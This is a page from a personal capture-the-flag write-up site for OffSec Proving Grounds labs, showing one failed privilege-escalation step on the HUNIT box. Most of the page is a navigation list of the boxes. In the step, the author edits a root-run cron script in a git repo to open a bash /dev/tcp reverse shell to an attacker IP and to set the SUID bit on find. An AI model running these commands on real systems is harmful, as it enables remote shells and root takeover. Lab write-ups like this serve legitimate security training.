💣
Proving Grounds Writeups
  • kashz PG Writeups
  • PG boxes
    • ALGERNON
      • 4 :9998 IIS 10
      • 3 :80 IIS 10
      • 2 :21 ftp
      • 1 recon
    • APEX
      • 9 privesc
      • 8 box enum www-data
      • 7 :80 openemr exploit
      • 6 :3306 mysql
      • 5 :80 /filemanager 9.13.4
      • 4 :80 openemr
      • 3 :80 apex hospital
      • 2 :445 smb
      • 1 recon
    • AUTHBY
      • 6 privesc
      • 5 box enum apache
      • 4 :21 ftp admin
      • 3 :242 apache
      • 2 :21 ftp
      • 1 recon
    • BANZAI
      • 9 post enum
      • 8 mysql > privesc > root
      • 7 apache enum
      • 6 box enum www-data
      • 5 :8295 banzai
      • 4 :25 smtp
      • 3 :5432
      • 2 :21 ftp
      • 1 recon
    • BILLYBOSS
      • 7 privesc_2
      • 6 privesc_1
      • 5 box enum
      • 4 :8081
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • BOTTLENECK
      • 7 privesc > root
      • 6 www-data > bytevsbyte
      • 5 box enum PEAS
      • 4 box enum
      • 3 :80 exploit
      • 2 :80 bottleneck
      • 1 recon
    • BRATARINA
      • 4 :25 opensmtpd 6.6.2
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLAMAV
      • 4 :25 sendmail
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • CLYDE
      • 7 post enum
      • 6 box enum rabbitmq > privesc > root
      • 5 :4369 epmd
      • 4 :15672 rabbitmq
      • 3 :80
      • 2 :21 ftp
      • 1 recon
    • DAWN
      • 5 privesc
      • 4 box enum dawn
      • 3 cron exploit using smb
      • 2 :80
      • 1 recon
    • DIBBLE
      • 9 post enum
      • 8 box enum benjamin > privesc > root
      • 7 :3000 nodejs exploit
      • 6 :27017 mongodb
      • 5 :3000 node.js
      • 4 :80 drupal explore
      • 3 :80 drupal enum
      • 2 :21 ftp
      • 1 recon
    • FAIL
      • 5 post enum
      • 4 privesc fail2ban
      • 3 box enum fox
      • 2 :873 rsync
      • 1 recon
    • FUNBOXEASY
      • 4 post enum
      • 3 :22 ssh tony > root
      • 2 :80
      • 1 recon
    • FUNBOXEASYENUM
      • 4 privesc
      • 3 box enum www-data > privesc > root
      • 2 :80
      • 1 recon
    • G00G
      • 5 post enum
      • 4 privesc > root
      • 3 box enum fox
      • 2 :80
      • 1 recon
    • GAARA
      • 4 post enum
      • 3 gaara > root
      • 2 :80
      • 1 recon
    • HAWAT
      • 8 post enum
      • 6 :50080 nextcloud enum
      • 5 :50080 davtest
      • 4 :50080 nextcloud
      • 3 :30455 w3.css
      • 2 :17445 issue tracker
      • 1 recon
    • HELPDESK
      • 2 :8080 ManageEngine ServiceDesk Plus 7.6.0
      • 1 recon
    • HETEMIT
      • 10 post enum
      • 9 privesc > root
      • 8 box enum cmeeks
      • 7 :50000_2
      • 6 :50000_1
      • 5 :18000
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • HUNIT
      • 6 post enum
      • 5 privesc git-user git-repo > root
      • 4 fail privesc dademola-user git-repo
      • 3 box enum dademola
      • 2 :8080
      • 1 recon
    • HUTCH
      • 10 privesc_3 ldapsearch
      • 9 privesc_2 SharpLAPS
      • 8 privesc_1 PrintSpoofer
      • 7 box enum iis apppool
      • 6 :80 webdav
      • 5 :139 :445 smb
      • 4 ldap_2
      • 3 ldap_1
      • 2 :80 IIS 10.0
      • 1 recon
    • INTERNAL
      • 3 ms17-010
      • 2 :139 :445 smb
      • 1 recon
    • INTERFACE
      • 3 post enum
      • 2 :80
      • 1 recon
    • JACKO
      • 8 post enum
      • 7 privesc_2 PrintSpoofer
      • 6 privesc_1 PaperStream IP (TWAIN)
      • 5 box enum tony
      • 4 H2 JNIScriptEngine exploit > tony
      • 3 :8082
      • 2 :80
      • 1 recon
    • KEVIN
      • 3 :80 HP Power Manager 4.2
      • 2 :139 :445 smb
      • 1 recon
    • LAMPIAO
      • 7 post enum
      • 6 privesc KE
      • 5 box enum www-data
      • 4 drupalgeddon2 > www-data
      • 3 :1898 drupal 7
      • 2 :80
      • 1 recon
    • LOLY
      • 6 post enum
      • 5 privesc KE
      • 4 box enum www-data
      • 3 :80 wpscan
      • 2 :80
      • 1 recon
    • MEATHEAD
      • 7 privesc_2 Plantronics Hub 3.13.2
      • 6 privesc_1 PrintSpoofer
      • 5 box enum nt service\mssql$sqlexpress
      • 4 :1435 ms-sql 2017
      • 3 :1221 ftp
      • 2 :80 IIS 10.0
      • 1 recon
    • MEDJED
      • 8 privesc
      • 7 box enum
      • 6 :45332 :45443 QuizApp
      • 5 :44330 Barracuda Web-File-Server
      • 4 :44330 BarracudaDrive 6.5
      • 3 :33033
      • 2 :30021 ftp
      • 1 recon
    • METALLUS
      • 2 :40443 Application Manager
      • 1 recon
    • MONITORING
      • 4 privesc
      • 3 :80 box enum > www-data
      • 2 :80 nagios xi
      • 1 recon
    • MUDDY
      • 8 post enum
      • 7 privesc cronjob
      • 6 box enum www-data
      • 5 :80 webdav
      • 4 :8888 ladon framework
      • 3 :80 wpscan
      • 2 :80 muddy.ugc
      • 1 recon
    • MY-CMSMS
      • 6 privesc armour > root
      • 5 box enum www-data
      • 4 :80 cms ms login
      • 3 :3306 mysql
      • 2 :80 cms made simple
      • 1 recon
    • NAPPA
      • 7 post enum
      • 6 privesc
      • 5 box enum kathleen
      • 4 :8080
      • 3 :28080
      • 2 :21 ftp
      • 1 recon
    • NIBBLES
      • 5 post enum
      • 4 box enum > privesc > root
      • 3 :5437 postgresql
      • 2 :80
      • 1 recon
    • NICKEL
      • 6 :21 ftp > root
      • 5 box enum
      • 4 ssh ariah
      • 3 :8089 :33333 curl
      • 2 :8089 DevOps dashboard
      • 1 recon
    • NUKEM
      • 6 post enum
      • 5 privesc dosbox
      • 4 box enum http > commander
      • 3 :80 wordpress + exploit
      • 2 :80
      • 1 recon
    • PAYDAY
      • 6 patrick > privesc > root
      • 5 box enum_2
      • 4 box enum www-data
      • 3 :80 cs-cart internetshop
      • 2 :139 :445 smb
      • 1 recon
    • PEBBLES
      • 3 zoneminder sqlmap
      • 2 http
      • 1 recon
    • PELICAN
      • 7 post enum
      • 6 privesc > root
      • 5 box enum charles
      • 4 :8080 :8081
      • 3 :631 cups 2.2
      • 2 :139 :445 smb
      • 1 recon
    • PEPPO
      • 9 post enum
      • 8 privesc docker socket > root
      • 7 box enum eleanor
      • 6 :22 ssh eleanor
      • 5 docker enum postgres
      • 4 :5432 postgres
      • 3 :8080
      • 2 :113 ident
      • 1 recon
    • PHOTOGRAPHER
      • 6 post enum
      • 5 box enum > privesc
      • 4 :8000 koken cms
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • POSTFISH
      • 10 post enum
      • 9 privesc > root
      • 8 exploit /etc/postfix/disclaimer
      • 7 box enum
      • 6 :22 ssh
      • 5 sending mail to phish
      • 4 :110 pop3
      • 3 :25 smtp
      • 2 :80
      • 1 recon
    • POTATO
      • 6 post enum
      • 5 :22 ssh, box enum
      • 4 :80 strcmp php
      • 3 :80
      • 2 :2112 ftp
      • 1 recon
    • QUARTERJACK
      • 8 post enum
      • 7 privesc > root
      • 6 box enum apache
      • 5 :8081 rconfig
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SEPPUKU
      • 10 privesc
      • 9 ssh tanto > privesc > root
      • 8 box enum samurai
      • 7 box enum seppuku
      • 6 :7601
      • 5 :7080
      • 4 :8088
      • 3 :80
      • 2 :139 :445 smb
      • 1 recon
    • SHENZI
      • 7 post enum
      • 6 privesc .msi
      • 5 box enum
      • 4 :80 wordpress > shenzi
      • 3 :80 xampp
      • 2 :139 :445 smb
      • 1 recon
    • SIROL
      • 5 post enum
      • 4 docker breakout > root
      • 3 :5601 kibana 6.5.0
      • 2 :80 php calculator
      • 1 recon
    • SLORT
      • 6 privesc
      • 5 box enum
      • 4 :4443 xampp
      • 3 :8080 xampp
      • 2 :21 ftp
      • 1 recon
    • SNOOKUMS
      • 8 post enum
      • 7 privesc
      • 6 box enum michael
      • 5 box enum apache
      • 4 :80
      • 3 :139 :445 smb
      • 2 :21 ftp
      • 1 recon
    • SORCERER
      • 7 post enum
      • 6 privesc > root
      • 5 box enum max
      • 4 :7742
      • 3 :8080 tomcat 7
      • 2 :80
      • 1 recon
    • SOSIMPLE
      • 6 ssh max > steven > root
      • 5 box enum_2
      • 4 box enum_1 www-data
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
    • SUNSETMIDNIGHT
      • 7 privesc
      • 6 box enum www-data
      • 5 :80 wordpress admin
      • 4 :80 simply poll plugin sqli
      • 3 :80 wordpress
      • 2 :80
      • 1 recon
      • 0 /etc/hosts
    • SYBARIS
      • 7 post enum
      • 6 privesc cron
      • 5 box enum pablo
      • 4 :6379 redis
      • 3 :80 sybaris
      • 2 :21 ftp
      • 1 recon
    • TRE
      • 5 :22 ssh > privesc > root
      • 4 box enum www-data
      • 3 :80 mantis bug tracker
      • 2 :80
      • 1 recon
    • TWIGGY
      • 5 post enum
      • 4 :4506 SaltStack 3000.1
      • 3 :8000
      • 2 :80 mezzanine
      • 1 recon
    • UC404
      • 5 post enum
      • 4 box enum brian > privesc > root
      • 3 box enum www-data
      • 2 :80 adminlte
      • 1 recon
    • UT99
      • 8 privesc_3 wlbsctrl.dll hijack
      • 7 fail privesc_2 InspIRCd
      • 6 privesc_1 FoxitCloudUpdateService
      • 5 box enum daisy
      • 4 :7778 unreal tournament
      • 3 :6667 irc via pidgin
      • 2: 80
      • 1 recon
    • WALLA
      • 7 post enum
      • 6 privesc
      • 5 box enum www-data
      • 4 :8901 lighttpd 1.4.53 > raspAP
      • 3 :25 smtp
      • 2 :23 telnet
      • 1 recon
    • WEBCAL
      • 6 privesc KE
      • 5 box enum www-data
      • 4 :53 dns
      • 3 :80 webcalendar 1.2.3
      • 2 :21 ftp
      • 1 recon
    • WOMBO
      • 6 post enum
      • 5 :6379 redis
      • 4 :27017 mongo
      • 3 :8080 nodebb
      • 2 :80
      • 1 recon
    • XPOSEDAPI
      • 3 box enum clumsyadmin > root
      • 2 :13337 remote software management api
      • 1 recon
    • Y0USEF
      • 5 post enum
      • 4 privesc
      • 3 box enum
      • 2 :80
      • 1 recon
    • ZENPHOTO
      • 9 post enum
      • 8 privesc_2 full-nelson
      • 7 privesc_1 rds
      • 6 privesc check
      • 5 box enum www-data
      • 4 :80 zenphoto 1.4.1.4
      • 3 :80
      • 2 :23 cups 1.4
      • 1 recon
    • ZINO
      • 6 post enum
      • 5 privesc > root
      • 4 box enum www-data
      • 3 :8003
      • 2 :139 :445 smb
      • 1 recon
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On this page
  1. PG boxes
  2. HUNIT

4 fail privesc dademola-user git-repo

*/3 * * * * /root/git-server/backups.sh
*/2 * * * * /root/pull.sh

# there is a directroy git-server 
[dademola@hunit ~]$ ls -la /
[truncated]
drwxr-xr-x   7 git  git   4096 Nov  6  2020 git-server

# lets clone and see 
[dademola@hunit ~]$ git clone file:///git-server/
Cloning into 'git-server'...
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (9/9), done.
remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), done.
Resolving deltas: 100% (2/2), done.

[dademola@hunit git-server]$ ls -la
total 20
drwxr-xr-x 3 dademola dademola 4096 Sep  9 02:01 .
drwx------ 6 dademola dademola 4096 Sep  9 02:01 ..
drwxr-xr-x 8 dademola dademola 4096 Sep  9 02:01 .git
-rw-r--r-- 1 dademola dademola    0 Sep  9 02:01 NEW_CHANGE
-rw-r--r-- 1 dademola dademola   63 Sep  9 02:01 README
-rw-r--r-- 1 dademola dademola   34 Sep  9 02:01 backups.sh

# checking history of commits
[dademola@hunit git-server]$ git log
commit f295f14322f75bb3ffa07ff15afb6ca1d98e0bcd (HEAD -> master, origin/master, origin/HEAD)
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 21:05:58 2020 -0300

    testing

commit c71132590f969b535b315089f83f39e48d0021e2
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 20:59:48 2020 -0300

    testing

commit 8c0bc9aa81756b34cccdd3ce4ac65091668be77b
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 20:54:50 2020 -0300

    testing

commit 574eba09bb7cc54628f574a694a57cbbd02befa0
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 20:39:14 2020 -0300

    Adding backups

commit 025a327a0ffc9fe24e6dd312e09dcf5066a011b5
Author: Dademola <dade@local.host>
Date:   Thu Nov 5 20:23:04 2020 -0300

    Init

[dademola@hunit git-server]$ cat backups.sh
#!/bin/bash
#
#
# # Placeholder
#
[dademola@hunit git-server]$ cat README
Simple repo to review and commit changes to the sever scripts.
[dademola@hunit git-server]$ cat NEW_CHANGE
# empty

# pull.shis basically cloning the git-server
# and root-cron is running backup.sh

# update backups.sh
[dademola@hunit git-server]$ cat backups.sh
!#/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.49.136/18030 0>&1' &
chmod +s /usr/bin/find;

# adding file to git
[dademola@hunit git-server]$ git add backups.sh

# commit to repo 
[dademola@hunit git-server]$ git commit -m "kashz"
Author identity unknown
*** Please tell me who you are.
Run
  git config --global user.email "you@example.com"
  git config --global user.name "Your Name"

to set your account's default identity.
Omit --global to set the identity only in this repository.

fatal: unable to auto-detect email address (got 'dademola@hunit.(none)')

# setting config
[dademola@hunit git-server]$ git config --global user.name "kashz"
[dademola@hunit git-server]$ git config --global user.email "kashz"

[dademola@hunit git-server]$ git commit -m "kashz"
[master f96f030] kashz
 1 file changed, 6 insertions(+), 5 deletions(-)
 
# push to origin
[dademola@hunit git-server]$ git push -u origin
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 287 bytes | 287.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
error: remote unpack failed: unable to create temporary object directory
To file:///git-server/
 ! [remote rejected] master -> master (unpacker error)
error: failed to push some refs to 'file:///git-server/'

# fails as we don't have perms

# using git user to perform this
Previous5 privesc git-user git-repo > rootNext3 box enum dademola

Last updated 3 years ago